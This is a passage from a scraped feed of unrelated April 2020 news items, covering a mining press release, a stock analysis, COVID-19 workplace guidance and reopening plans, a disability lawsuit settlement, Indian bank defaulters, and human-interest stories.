economic assessment stage. The Kunene Cobalt-Copper Project comprises a very large area of favorable stratigraphy ("the DOF") along strike to the west of the Opuwo Co-Cu-Zn deposit. Secondary copper mineralization over a wide area points to preliminary evidence of a regional-scale hydrothermal system. Exploration targets on EPLs held in the Kunene project comprise direct extensions of the DOF style mineralization to the west, sediment-hosted cobalt and copper, orogenic copper, and stratabound Mn and Zn-Pb mineralization. Earlier stage projects include the Grootfontein Project which has potential for magmatic Cu-Ni mineralization, Mississippi Valley-type Zn-Pb-V mineralization and Otjikoto-style gold mineralization. The Kunene Light Rare Earth Project is a recently announced discovery where selected grab samples have outlined areas of high grade bastnaesite mineralization carrying significant concentrations of neodymium. Donald M. Burton, P.Geo. and President of Namibia Critical Metals Inc., is the Company's Qualified Person and has reviewed and approved this press release. The common shares of Namibia Critical Metals Inc. trade on the TSX Venture Exchange under the symbol "NMI". Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. For more information please contact - Namibia Critical Metals Inc. Don Burton, President Tel: +01 (902) 835-8760 Fax: +01 (902) 835-8761 Email: Info@NamibiaCMI.com Web site: www.NamibiaCriticalMetals.com The foregoing information may contain forward-looking information relating to the future performance of Namibia Rare Earths Inc. Forward-looking information, specifically, that concerning future performance, is subject to certain risks and uncertainties, and actual results may differ materially. These risks and uncertainties are detailed from time to time in the Company's filings with the appropriate securities commissions. -30- SOURCE: Namibia Critical Metals Inc. View source version on accesswire.com:https://www.accesswire.com/587389/Namibia-Critical-Metals-Closes-CDN350000-Private-Placement The main aim of stock picking is to find the market-beating stocks. But the main game is to find enough winners to more than offset the losers At this point some shareholders may be questioning their investment in China Huirong Financial Holdings Limited (HKG:1290), since the last five years saw the share price fall 45%. Furthermore, it's down 12% in about a quarter. That's not much fun for holders. However, one could argue that the price has been influenced by the general market, which is down 9.9% in the same timeframe. See our latest analysis for China Huirong Financial Holdings To quote Buffett, 'Ships will sail around the world but the Flat Earth Society will flourish. There will continue to be wide discrepancies between price and value in the marketplace...' One way to examine how market sentiment has changed over time is to look at the interaction between a company's share price and its earnings per share (EPS). Looking back five years, both China Huirong Financial Holdings's share price and EPS declined; the latter at a rate of 22% per year. This fall in the EPS is worse than the 11% compound annual share price fall. So the market may previously have expected a drop, or else it expects the situation will improve. The company's earnings per share (over time) is depicted in the image below (click to see the exact numbers). SEHK:1290 Past and Future Earnings April 28th 2020 Before buying or selling a stock, we always recommend a close examination of historic growth trends, available here. What About Dividends? When looking at investment returns, it is important to consider the difference between total shareholder return (TSR) and share price return. The TSR incorporates the value of any spin-offs or discounted capital raisings, along with any dividends, based on the assumption that the dividends are reinvested. So for companies that pay a generous dividend, the TSR is often a lot higher than the share price return. In the case of China Huirong Financial Holdings, it has a TSR of -42% for the last 5 years. That exceeds its share price return that we previously mentioned. And there's no prize for guessing that the dividend payments largely explain the divergence! Story continues A Different Perspective While it's never nice to take a loss, China Huirong Financial Holdings shareholders can take comfort that , including dividends, their trailing twelve month loss of 9.4% wasn't as bad as the market loss of around 14%. What is more upsetting is the 10% per annum loss investors have suffered over the last half decade. While the losses are slowing we doubt many shareholders are happy with the stock. While it is well worth considering the different impacts that market conditions can have on the share price, there are other factors that are even more important. Consider for instance, the ever-present spectre of investment risk. We've identified 2 warning signs with China Huirong Financial Holdings , and understanding them should be part of your investment process. Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of companies we expect will grow earnings. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. ATLANTA, GA -- The CDC and OSHA have issued a statement that has some interim guidance for meat and poultry processing employers and workers so that essential processing plants may continue to operate during the current COVID-19 pandemic. It reads as follows: "Meat and Poultry Processing Workers and Employers Interim Guidance from CDC and the Occupational Safety and Health Administration (OSHA) Meat and poultry processing facilities are a component of the critical infrastructure within the Food and Agriculture Sectorpdf iconexternal icon. CDCs Critical Infrastructure Guidance advises that critical infrastructure workers may be permitted to continue work following potential exposure to COVID-19, provided they remain asymptomatic and additional precautions are implemented to protect them and the community. All meat and poultry processing facilities developing plans for continuing operations in the setting of COVID-19 occurring among workers or in the surrounding community should (1) work directly with appropriate state and local public health officials and occupational safety and health professionals; (2) incorporate relevant aspects of CDC guidance, including but not limited to this document and the CDCs Critical Infrastructure Guidance; and (3) incorporate guidance from other authoritative sources or regulatory bodies as needed. Multiple outbreaks of COVID-19 among meat and poultry processing facility workers have occurred in the United States recently. This document provides guidance for meat and poultry processing workers and employersincluding those involved in beef, pork, and poultry operations. This guidance supplements but does not replace general guidance at these web sites: Coronavirus disease 2019 (COVID-19) is a respiratory illness caused by a new virus called SARS-CoV-2. Symptoms often include a fever, cough, and shortness of breath and can range from very mild to severe. Some people become so sick they must be admitted to the hospital, and some people may die from the illness. Our understanding about the new virus and how the virus spreads is evolving as we learn more about COVID-19, so check the CDC website for the latest information. The virus is thought to spread mainly from person to person: Between people who are in close contact with one another (within about six feet, which is about two meters). Through respiratory droplets produced when an infected person coughs, sneezes, or talks. Recent studies indicate that people who are not showing symptoms can spread the virus. It may also be possible that a person can get COVID-19 by touching a surface or object that has the virus on it and then touching their own mouth, nose, or possibly their eyes. This is not thought to be the main way the virus spreads, but we are still learning more about this virus. Workers at higher risk for serious illness include older adults and people of any age with chronic medical conditions. Policies and procedures addressing issues related to workers at higher risk of serious illness should be made in consultation with occupational medicine and human resource professionals. Exposure risk among meat and poultry processing workers Workers involved in meat and poultry processing are not exposed to SARS-CoV-2 through the meat products they handle. However, their work environmentsprocessing lines and other areas in busy plants where they have close contact with coworkers and supervisorsmay contribute substantially to their potential exposures. The risk of occupational transmission of SARS-CoV-2 depends on several factors. Some of these factors are described in the U.S. Department of Labor and U.S. Department of and Health and Human Services booklet Guidance on Preparing Workplaces for COVID-19pdf iconexternal icon. Distinctive factors that affect workers risk for exposure to SARS-CoV-2 in meat and poultry processing workplaces include: Distance between workers meat and poultry processing workers often work close to one another on processing lines. Workers may also be near one another at other times, such as when clocking in or out, during breaks, or in locker/changing rooms. meat and poultry processing workers often work close to one another on processing lines. Workers may also be near one another at other times, such as when clocking in or out, during breaks, or in locker/changing rooms. Duration of contact meat and poultry processing workers often have prolonged closeness to coworkers (e.g., for 10-12 hours per shift). Continued contact with potentially infectious individuals increases the risk of SARS-CoV-2 transmission. meat and poultry processing workers often have prolonged closeness to coworkers (e.g., for 10-12 hours per shift). Continued contact with potentially infectious individuals increases the risk of SARS-CoV-2 transmission. Type of contact meat and poultry processing workers may be exposed to the infectious virus through respiratory droplets in the air for example, when workers in the plant who have the virus cough or sneeze. It is also possible that exposure could occur from contact with contaminated surfaces or objects, such as tools, workstations, or break room tables. Shared spaces such as break rooms, locker rooms, and entrances/exits to the facility may contribute to their risk. meat and poultry processing workers may be exposed to the infectious virus through respiratory droplets in the air for example, when workers in the plant who have the virus cough or sneeze. It is also possible that exposure could occur from contact with contaminated surfaces or objects, such as tools, workstations, or break room tables. Shared spaces such as break rooms, locker rooms, and entrances/exits to the facility may contribute to their risk. Other distinctive factors that may increase risk among these workers include : A common practice at some workplaces of sharing transportation such as ride-share vans or shuttle vehicles, car-pools, and public transportation Frequent contact with fellow workers in community settings in areas where there is ongoing community transmission." : The statement continues with important info at the following website: https://www.cdc.gov/coronavirus/2019-ncov/community/organizations/meat-poultry-processing-workers-employers.html?deliveryName=USCDC_2067-DM26823 PHOENIX A major Arizona taxi firm has agreed to stop charging an additional fee for accessible van customers. The Arizona Center for Disability Law says that Total Transit Inc. will no longer impose that $10 charge for an on-demand van. Rose Daly-Rooney, the organizations legal director, told Capitol Media Services the move ends a 2015 lawsuit filed against the company accusing it of illegal discrimination against those with disabilities. There was no immediate response from the attorney for the company, though federal court records say there was an agreement which was sealed as confidential. That deal, the court file says, does mean each side will bear its own legal fees. And Daly-Rooney said there was no admission of guilt. This deal affects only Total Transit and its companies, including NExT, the National Express Transit corp. But Daly-Rooney said she believes it will serve as a wake-up call for other taxi firms that still try to charge extra for people who need an accessible van. The lawsuit was filed on behalf of two individuals who use power wheelchairs and the Paralyzed Veterans of America. Prince Harry has helped celebrate iconic childrens book series Thomas the Tank Engine's 75th anniversary, a story the Duke says he had fond memories of growing up with. A special royal episode of the accompanying show Thomas & Friends will be released for the anniversary called 'Thomas and the Royal Engine.' The Duke of Sussex filmed an introduction to the episode in January, which sees Thomas the Tank Engine tasked with bringing the Fat Controller to London to receive an honour from the Queen. AP Both younger versions of the Queen and Prince Harrys father Prince Charles make appearances. Prince Harry was seen sitting on set in a chequered chair, holding a Thomas the Tank Engine book as he addressed the camera. Thomas the Tank Engine and animated versions of Queen Elizabeth and Prince Charles / AP He said in a statement, Thomas the Tank Engine has been a comforting, familiar face to so many families over the last 75 years entertaining, educating and inspiring children on important issues through exciting stories and characters. Prince Harry and Thomas The Tank Engine 1 /22 Prince Harry and Thomas The Tank Engine Prince Harry poses for a photo during the recording of his introduction to the new animated special 'Thomas & Friends: The Royal Engine' AP A scene featuring The Queen and Prince Charles as a boy from an animated special 'Thomas & Friends: The Royal Engine' released to mark the 75th anniversary of Thomas The Tank Engine AP Rosamund Pike recording the new animated special "Thomas & Friends: The Royal Engine" PA Prince Charles as a boy from an animated special 'Thomas & Friends: The Royal Engine' released to mark the 75th anniversary of Thomas The Tank Engine AP A scene featuring The Queen and Prince Charles as a boy from an animated special 'Thomas & Friends: The Royal Engine' released to mark the 75th anniversary of Thomas The Tank Engine AP The new animated special "Thomas & Friends: The Royal Engine", which features Thomas the Tank Engine meeting Queen Elizabeth II and a young Prince of Wales, along with new character the Duchess of Loughborough which is voiced by actress Rosamund Pike PA Prince Harry poses for a photo during the recording of his introduction to the new animated special 'Thomas & Friends: The Royal Engine' AP Rosamund Pike recording the new animated special "Thomas & Friends: The Royal Engine" PA The special episode has been produced as part of Thomas & Friends' 75th anniversary celebrations this year and includes a special on-camera introduction from the Duke of Sussex PA PA PA AP PA Prince Harry waves to photographers whilst holding a 'Thomas The Tank Engine' bag on his first day at a kindergarten in Notting Hill, West London AP Prince Harry looks through mock binoculars whilst holding the hand of Kindergarten manager Jane Mynors and carrying a 'Thomas The Tank Engine' bag on his way out from his first day at a kindergarten in Notting Hill, West London AP Three-year-old Duke of Sussex (front centre), then Prince Harry, shaking the hand of headmistress Jane Mynors as he arrives for his first day of nursery school with his parents, the Prince and Princess of Wales, and his brother Prince William, at Chepstow Villas in west London with a Thomas the Tank Engine bag PA Three-year-old Duke of Sussex, then Prince Harry, arriving for his first day of nursery school at Chepstow Villas in west London with a Thomas the Tank Engine bag. The Duke of Sussex has recorded an on-camera introduction to the new animated special "Thomas & Friends: The Royal Engine" PA I certainly have fond memories of growing up with Thomas & Friends and being transported to new places through his adventures. I am very proud to have been asked to take part in this special episode. I wish Thomas & Friends a very happy anniversary, he continued. Prince Harry carrying a Thomas the Tank Engine bag on his first day at school / AP Prince Harrys love of the British classic was shown in a photo from his first day at nursery school in 1987, when he was seen carrying a bag with Thomas the Tank Engine on it. A special royal engine called the Duchess of Loughborough will also feature in the show, voiced by Rosamund Pike. There is a real-life Royal Train (though the Queen is known to travel via public transport to Sandringham every year) which is used for special engagements and features bedrooms, bathrooms, a dining room as well as a study. Queen Elizabeth and Meghan Markle stepping off the Royal Train / Getty Images Anyone who wishes to board the royal train must be invited by the Queen. (Natural News) Cases of coronavirus (COVID-19) are surging in Brazil, causing Latin Americas largest country to veer closer to becoming the next coronavirus hotspot. All over the country, hospitals, morgues and cemeteries already inundated with mounting caseloads. Brazil currently has around 67,000 cases and 4,600 deaths according to a running tally by the Johns Hopkins University. In Rio de Janeiro and at least four other major cities, medical officers have warned that their hospital systems are either on the verge of collapse, or are too overwhelmed to accept any more patients. We have all the conditions here for the pandemic to become much more serious, stated Paulo Brandao, a virologist at the University of Sao Paulo. Number of infected could be in the hundreds of thousands to millions By official counts, the countrys worst day was Thursday, with about 3,700 new cases and more than 400 deaths. However, experts warned that the numbers are actually much higher due to insufficient, delayed testing. Because it takes a long time for tests to be processed, current numbers actually reflect cases and deaths from one or two weeks ago, said Domingos Alves, adjunct professor of social medicine at the University of Sao Paulo. We are looking at a photo of the past, stated Alves. The number of cases in Brazil is, therefore, probably even greater than what we are predicting. According to scientists from the University of Sao Paolo, University of Brasilia and other institutions, the true number of people infected with the coronavirus as of this week could be as high as 587,000 to 1.1 million people. Brazils health ministry stated in a report earlier this month that it only has the capacity to test 6,700 people per day. This is a far cry from the roughly 40,000 it is expected to need when the virus peaks. We should do many more tests than were doing, but the laboratory here is working at full steam, explained Keny Colares, an infectious disease specialist at the Hospital Sao Jose who has also been advising state officials on the pandemic response. All over the country, stories of patients being shuffled around as hospitals try to find space for them are beginning to emerge. One such story is that of Rodrigo Bessas mother Edenir. The elder Bessa, a retiree from Rios working-class Mangueira favela, was turned away from two full urgent care facilities before finally gaining admission at a third one located 25 miles away. Hours later, she was transferred by ambulance almost all the way back, to another facility, the Ronaldo Gazzola hospital, where she eventually died. Bessas death was recorded as being caused by a suspected case of COVID-19, meaning that that like so many others it doesnt figure into the governments official tally. She wasnt the only one who died of a suspected infection at the hospital. When he went to pick his mothers body up, the younger Bessa confirmed that he saw a lot of bodies also suspected of [having] COVID-19 in the hospitals basement. People need to believe that this is serious, that it kills, Bessa added. Brazilian president continues to insist COVID-19 isnt a threat All this time, Brazillian President Jair Bolsonaro has continued to insist that COVID-19 is a relatively minor disease and that social distancing is unnecessary to stop it. Bolsonaro has said that only Brazilians at high risk should be isolated. Bolsonaros stance is seen to echo that of U.S. President Donald Trump, who has been pushing to put people back to work as unemployment approaches Great Depression-era levels. However, unlike Trump who has been willing to moderate his stance based on the words of his advisers Bolsonaro seems less willing to listen to his. Last week, the Brazilian president fired his former health minister Luiz Henrique Mandetta, who had supported tough antivirus measures, replacing him with an advocate for reopening the economy. At the swearing-in of his newly appointed health minister Nelson Teich, Bolsonaro claimed that the fight reopen business is a risk that I run. He also said that if the pandemic escalates, it lands on my lap. Sources include: SCMP.com NYPost.com Coronavirus.JHU.edu Indian banks have technically written off a staggering amount of Rs 68,607 crore due from 50 top wilful defaulters, including absconding diamantaire Mehul Choksi, according to a reply under RTI from the Reserve Bank of India (RBI). Prominent RTI activist Saket Gokhale had filed an RTI query with the RBI seeking details of the 50 top wilful defaulters and their current loan status till February 16. "I filed this RTI because Finance Minister Nirmala Sitharaman and Minister of State for Finance Anurag Thakur had refused to reply to this starred question asked in the Parliament by Congress MP Rahul Gandhi in the last Budget Session on February 16," Gokhale told IANS. Disclosing what the government didn't, the RBI's Central Public Information Officer Abhay Kumar provided the replies on Saturday (April 24), with several startling revelations in the 'diamond-studded list', said Gokhale. The RBI said that this amount (Rs 68,607 crore) comprising outstanding and the amounts technically/prudentially written off till September 30, 2019. An inadvertent error had crept in a previous version of the report, which has now been now corrected. "The apex bank also declined to provide the relevant information on overseas borrowers citing a Supreme Court judgement of December 16, 2015," Gokhale told IANS. Topping the list is Choksi's scam-hit company, Gitanjali Gems Limited, which owed Rs.5,492 crore, besides other group companies, Gili India Ltd and Nakshatra Brands Ltd, which had taken loans of Rs 1,447 crore and Rs 1,109 crore, respectively. Choksi is currently a citizen of Antigua & Barbados Isles, while his nephew and another absconder diamond trader Nirav Modi is in London. The second in the list is REI Agro Ltd., with an amount of Rs 4,314 crore, and its directors Sandip Jhujhunwala and Sanjay Jhunjhunwala who are already under the scanner of the Enforcement Directorate (ED) since over a year. The next on the list in the Rs 4,000-crore bracket is absconding diamantaire Jatin Mehta's Winsome Diamonds & Jewellery owing Rs 4,076 crore and which is being probed by the Central Bureau of Investigation for various bank frands. In the Rs 2,000-crore category, there is the Kanpur-based writing instruments giant, Rotomac Global Pvt. Ltd., part of the famed Kothari group, which owed Rs 2,850 crore. The others in this category include: Kudos Chemie, Punjab (Rs.2,326 crore), Baba Ramdev and Balkrishna's group company Ruchi Soya Industries Ltd., Indore (Rs.2,212 crore), and Zoom Developers Pvt. Ltd., Gwalior (Rs.2,012 crore). There are 18 companies in the Rs.1K-segment with some prominent names like Harish R. Mehta's Ahmedabad-based Forever Precious Jewellery & Diamonds Pvt. Ltd. (Rs.,1962 crore), and absconder liquor baron Vijay Mallya's defunct Kingfisher Airlines Ltd. (Rs 1,943 crore). Another 25 companies fall in the sub-1K-crore category with outstandings ranging from Rs 605 crore to Rs 984 crore, either individually or as group companies. Six among the 50 top wilful defaulters are connected with the glittering diamond and/or gold jewellery industries. "A majority of them have defaulted prominent nationalist banks over the past several years and many of them are either absconding or facing action by various probe agencies and some are under litigation," Gokhale said. No industry is sacrosanct as the top 50 willful defaulters are spread across various sectors of the economy including IT, infrastructure, power, gold-diamond jewellery, pharma, etc. Its often been said love conquers all. Everlasting, true love never fails to triumph over obstacles. Whoever coined that cliche could have had Brittany Bonfiglio and Eric Cirincione in mind. The couple, planning their dream wedding for well over a year, were forced to cancel the event not once but on two separate occasions. Brittany Bonfiglio and Eric Cirincione outside the Middletown Courthouse when they married on March 5. (Courtesy/Brittany Bonfiglio)Staten Island Advance Since Brittany, 26, and Eric, 29, always loved the beaches of Punta Cana, the popular vacation destination in the Dominican Republic became their destination when it came time to plan their tropical dream wedding. Eric Corincione proposes marriage to Brittany Bonfiglio on the balcony of a restaurant called Faro Blanco in Aruba. (Courtesy/Brittany Bonfiglio)Staten Island Advance However, last year, when the hot spot came under scrutiny over a series of mysterious conditions and tourist mishaps, they opted to reschedule their wedding and search for another location. Brittany Bonfiglio and Eric Cirincione, center, celebrate their marriage with family members and friends. (Courtesy/Brittany Bonfiglio Cirincione)Staten Island Advance Their thoughts then turned to the Riu Palace, a resort on the southern Caribbean Island of Aruba. The date? April 24, 2020, a time when 46 people close family members and friends would witness the couple saying their I dos, during an intimate ceremony on a white sandy beach with sea breezes blowing and palm trees swaying in the background. And so it went. Wedding plans started to take shape. Eric Cirincione and Brittany Bonfiglio toasting on their original wedding day, April 24 outhouse their house in Middletown, N.J . (Courtesy/Brittany Bonfiglio)Staten Island Advance However, earlier this year when talk about the coronavirus began to surface, the couple began to feel uneasy. Thinking long range they became worried about flights being terminated and hotels closing. Then, when the the pandemic became a reality and all were required to shelter in place, Brittany and Eric knew they had no choice but to cancel the nuptials once again. I reached out to my guests to tell them the wedding was off. Everyone was very supportive and all of our family was behind us, said Brittany, of Great Kills. And in the meantime, the bride-to-be was trying to deal with the high demands of her nursing position and wedding woes at the same time. Eric Cirincione and Brittany Bonfiglio holding Myla and Max. (Courtesy/Brittany Bonfiglio)Staten Island Advance Whats more, Brittanys bridal shower that was all set at the Oyster Point Hotel in Red Bank, N.J., also had to be cancelled. So the couple, uncertain of how things would unfold, decided to say their I dos, in the courthouse in Middletown, N.J., the town where they ultimately purchased their dream home. Though I wanted a date that was closer to April 24, my original wedding date, March 5 was the only date the courthouse had available," she said. So they took it. Brittany Bonfiglio in the COVID-19 Unit at Staten Island University Hospital, South. (Courtesy/Brittany Bonfiglio)Staten Island Advance With their mothers as their witnesses the couple exchanged nuptial vows in a civil ceremony in their home community. Their new wedding reception is tentatively rescheduled for October at the Riu Palace, the same plush resort where it was originally planned. Said Eric: This has just shown that Brittany and I can overcome any obstacles that come our way. VIRTUAL WEDDING RECEPTION Eric Crincione and Brittany Bonfiglio hold up a sign shouting news about their wedding. (Courtesy/Brittany Bonfiglio)Staten Island Advance So on Friday, April 24 their original wedding date Brittany and Erics family gathered outside their New Jersey home, where they popped champagne, sipped a bit of the bubbly in the presence of immediate family members and friends, in the pouring rain, and toasted the awesome twosome. And a pizza in the shape of a "C" for Cirincione soon arrived and everyones enjoyed the popular Italian specialty. The Zoom program screen of Brittany and Eric's wedding reception. (Courtesy/Brittany Bonfiglio)Staten Island Advance The festivities followed with the brides sister putting together a Zoom program, where everyone dressed in wedding attire and pretended they were attending the couples wedding reception. A LITTLE ABOUT BRITTANY AND ERIC Brittany and Eric initially met through mutual friends when they were students at St. Joseph by-the-Sea High School in Huguenot, where Eric grew up. They became engaged in June 2018. Brittany, whos had been assigned to the medical surgical floor at Staten Island University Hospital, Princes Bay, is now working with patients in the department thats been transformed into a COVID-19 Unit. Eric is a manager in the Business Systems Analytics area at Commvault, a data protection software company in Tinton Falls, N.J. Midland Mayor Patrick Payton said Gov. Greg Abbotts plan to reopen the Texas economy mirrored the plan offered by seven West Texas mayors and there is nervous excitement about the opportunity to get more of Midland back in business later this week. The governors plan allows retail stores, restaurants, movie theaters, malls, museums and libraries to open Friday at 25 percent occupancy. As reported in the Texas Tribune, a second phase would allow businesses to expand their occupancy to 50 percent, as long as the state sees two weeks of data to confirm no flare-up of COVID-19. I think it is a good place to start, Payton told the Reporter-Telegram on Monday afternoon. Payton said more information about implementing the plan in Midland will come from the countys Unified Command team press events this week. He called Abbotts plan a mirror image of the plan created by the mayors of Midland, Odessa, Amarillo, Lubbock, Big Spring, Abilene and San Angelo. In a letter to the governor, the seven city leaders noted agreeing on some important principles. -- Every business is critical in West Texas, and every business that can operate at low or mitigated risk should be operating. - In mitigating that risk, each city should analyze its own local, real-time data to surgically adjust its methods to mitigate the biological implications of the outbreak while navigating the economic implications of such mitigating measures. RELATED: 5 things to know about Texas Gov. Greg Abbott's order allowing some businesses to reopen Payton said increments of growth of 25 percent also were present in the mayors plan. West Texans need it to be done, Payton said. Payton has made comments recently about the one, two punch Midland has taken with the coronavirus pandemic and the oil price downturn. He has supported the governors previous executive orders, including the states stay-at-home order, which will expire at the end of the month. Payton also described his immediate reaction to Abbotts decision as nervous relief, which later became nervous excitement when talking about Friday. He talked about Midlanders wanting to get back to work and a community ready for their community to start back up. The Midland Health Department reported 74 confirmed cases in Midland County. That number was slightly fewer than the 76 in Ector County but dramatically less than counties across the region and state. Harris County reported 5,729, and Dallas County was second at 3,014, according to statistics Monday, according to the Texas Department of State Health Services. In West Texas, El Paso County showed the most confirmed cases 802 -- according to the DSHS. Lubbock County was second at 499, while Potter County, 333; Taylor County, 222; and Randall County, 172, rounded out the top five. The Department of State Health Services reported Midland County ranked 40th of all counties in the state, despite ranking 26th for population. Payton stayed true to the message he has delivered since the start of the pandemic: Midlanders have to be conscious of their own social distancing. He said there is a responsibility to work as hard when businesses are reopened so the number of confirmed cases dont spike. The mayor said he will continue to walk in lock-step with the governor and not mandate wearing a mask, but he said there is a responsibility of Midland County residents to act in a way that doesnt harm themselves or their neighbor. He also said businesses should have every ability to operate in a manner they deem safe for their customers. The following is a copy of the letter sent from West Texas mayors to the Governors Office. Dear Governor Abbott: First, thank you for your leadership during this crisis. The weight of our state is on your shoulders, and there have been many difficult decisions made to protect Texans. We support you, and we pray for you often. Second, we have heard you say that Texas is a state whose needs and solutions vary by geographic region. We agree and know it is vital to your leadership to hear directly from each region about its needs and solutions. As a region, we want to present to you with our thoughts on reopening West Texas. Our cities have different needs and different approaches to address this crisis, but we agree on these important principles: 1) Every business is critical in West Texas. Every business that can operate at low or mitigated risk should be operating. 2) In mitigating that risk, each city should analyze its own local, real-time data to surgically adjust its methods to mitigate the biological implications of the outbreak while navigating the economic implications of such mitigating measures. Each of our plans will rely heavily on the fact that physical distancing is the most important component in slowing the spread of COVID-19. In rural West Texas, we want to reopen with strict physical distancing measures in place. Each city can best determine how to implement these measures in their own city. Our citizens are learning this new way of life and are ready to make the changes necessary to go back to work. Many of the businesses in our rural communities are defined under state guidelines as essential businesses. They are operating with social distancing and increased hygiene practices. Businesses that are not currently open, but that could adopt these same operational changes should be allowed to operate as low-risk businesses. Where Texans can be safely working, we want them to work. Every business that can mitigate risk should be allowed to be open and participating in our economic recovery. Thank you for listening to the voices in West Texas. We are ready to implement these changes and begin to reopen West Texas. The lockdown has been hard on all of us but can you imagine the pain and trouble that elderly people who live alone are going through during this time? To bring cheer into the life of a senior citizen living alone in Panchkula, Haryana, police deployed in the area planned something heartwarming. The cops traced his house, knocked at his door and gave him a surprise that he never expected. Don't Miss: Contribute To Indiatimes Fundraiser To Help India Fight COVID-19 Twitter Screenshot/@@ipspankajnain While walking toward the gate, the elderly man, possibly worried, can be heard saying that he lives alone and there's nothing wrong that he did, But the very next moment he burst into tears as the cops whipped out a cake and started singing 'Happy Birthday!' Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 The senior gentleman man can be heard saying in video, "I have no one," to which the cops say, "We are here, we are your children" and cheer him up. The man is also given a birthday cap to wear and the whole video will move you to tears. Pankaj Nain, IPS Officer Haryana Cadre who goes by @ipspankajnain on Twitter, shared the beautiful video on the social media platform with the caption, "Interactions with Police is always emotional - be it fear, anger, anxiety or gratitude. But I have never seen such overwhelming emotional burst. See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone." During the lockdown, police forces across the country have gone beyond the call of duty to bring joy in the lives of people. In Punjab too, cops helped a family celebrate their one-year-old's birthday on April 17. A video of the cops singing the birthday song and delivering a cake to the parents went viral online. Mansa Polices sweet gesture for Mairas 1st birthday. Policemen gave her a surprise by delivering a Birthday Cake at her doorsteps, says the tweet posted by Punjab Police. Kindness, home-delivered! #IndiaFightsCorona Policemen in Mansa, #Punjab surprised baby Maira and her family by delivering a birthday cake. Share stories of champions near you, using #CoronaWarriorsIndia. - @PunjabPoliceInd pic.twitter.com/py66wagVog NITI Aayog (@NITIAayog) April 21, 2020 The trend is said to have started from USA, where a bunch of police vehicles halted on the street in front of a house and cops sang happy birthday for a youngster. Today on birthday of a 4-yr-old girl, the daughter of a labourer,a cake was arranged by staff of Police Station Fatehpuri Beri&her birthday was celebrated with her friends in community kitchen at the labour camp there. The girl is a resident of Chandan Hulla village: Delhi Police pic.twitter.com/Y1KhZ6UUXq ANI (@ANI) April 18, 2020 In another incident, staff of Delhi's Fatherpuri Beri ensured that the four-year-old daughter of a labourer celebrated her birthday despite the quarantine. They arranged a cake and celebrated her birthday with some of her friends in the community kitchen at a labour camp there. If Cabinet approves, Phukets Tambon Lockdown to ease PHUKET: Phuket Governor Phakaphong Tavipatana has announced that if Cabinet approves, the Tambon Lockdown restrictions may be eased, with all travel between non-red subdistricts allowed. COVID-19Coronavirushealth By Tanyaluk Sakoot Tuesday 28 April 2020, 10:58AM Closing and focussing on just the red zones is better than all the subdistricts shut down, he told a mass meeting of officials at Provincial Hall late yesterday (Apr 27). That way officials can focus on stopping the spread of infection, Governor Phakaphong said. However, Governor Phakaphong stressed that he cannot lift any of the restrictions until Cabinet gives its approval. Overall, the situation in Phuket has improved. Many areas and people have been impacted by the lockdown, but at this stage I cannot confirm whether Phuket province can re-open [sic] on May 1, he said. I cannot alone make the decision to open Phuket province and open the subdistricts. I must wait for Cabinet first. Then I can look at unlocking the subdistricts. Everything must wait for them [Cabinet]. We must wait. I hope you understand, Governor Phakaphong said. Regardless, preparations have been made for when Cabinet does give its approval, he explained. People must continue to wear face masks in public and must observe social distancing in daily life, but if Phuket is allowed to re-open the subdistricts, only some areas which are marked as red zones will have to remain locked down, Governor Phakaphong said. For this, the Governor handed the discussion over to Phuket Provincial Health Office (PPHO) Chief Thanit Sermkaew to explain. There are only four subdistricts that are of concern: Patong, Cherng Talay, Rassada and Wichit, Chief Thanit said. However, Chief Thanit suggested even further that red zone subdistricts be allowed to re-open except for the areas where cases of infection have been confirmed. Not all areas in each subdistrict is considered a red zone. I present to lock down and block people [from free movement] in specific areas and communities, for example the red zone covering Bang Tao villages Moo 2, 3, 5, he added. Closing some areas in red subdistricts is better than shutting down the whole subdistrict. That way PPHO officials can work effectively, Chief Thanit said. The quarantine for other subdistricts can end already as we have not found any new cases there, but areas in Patong, Cherng Talay, Rassada and Wichit must remain under quarantine for another 14 days, Chief Thanit explained. If Cabinet approves, and if his plan is approved, Chief Thanit explained, In Patong, the last confirmed case was found on Apr 21, so the quarantine there can end on May 5. In Rassada, the last confirmed case there was found on Apr 22, so the quarantine there can end on May 6. In Wichit, the last confirmed case was found on Apr 22, so the quarantine there can also end on May 6, and in Cherng Talay the last confirmed case found there was on Apr 26, so the quarantine there can end on May 10, he said. This way we can watch specific red-zone areas closely and stop the infection, he added. Assoc Prof Dr Phan Tongchumnum, Vice Chancellor of the PSU Phuket Campus, did offer a word of caution. If subdistricts are re-opened on May 1. They must be under certain conditions. Everyone who lives in Phuket must install the Mor Chana [Doctor wins"] app and all businesses need to follow standard procedures to safeguard their own businesses. And everyone must wear a face mask every day," he said. The Mor Chana app has been developed by the Digital Government Development Agency so that people can stay updated with the latest developments in the COVID-19 outbreak and receive advice from doctors and nurses. The app is available on Google Play and the App Store. Texas Gov. Greg Abbott detailed on Monday their plans to reopen the state in phases amid the COVID-19 pandemic. Places such as retail stores, movie theaters, and restaurants will be allowed to open to customers at reduced capacity starting on Friday, May 1. According to Lt. Gov. Dan Patrick, wearing masks will be encouraged, but they won't require it. This initiative by Abbott and the state--the country's largest economy next to California--to reopen the state economy that was fundamentally taken to a full stop as the United States struggles with the COVID-19 outbreak. During a news conference held in Austin on Monday, Gov. Abbott said that they are not just hoping for the best as they reopen. He added that the state is going to open in a manner that will also contain the infection and keep everyone in Texas safe. A Strategic Reopening Approach Gov. Abbott also said that a tactical strategy is needed so that they don't "open only to close down again." Along with movie theaters, restaurants, and retail stores, libraries and museums could open on May 1 too, at 25 percent capacity. Additionally, sole proprietors of companies, according to the government official, can open, as well, and dentists and doctors can resume normal 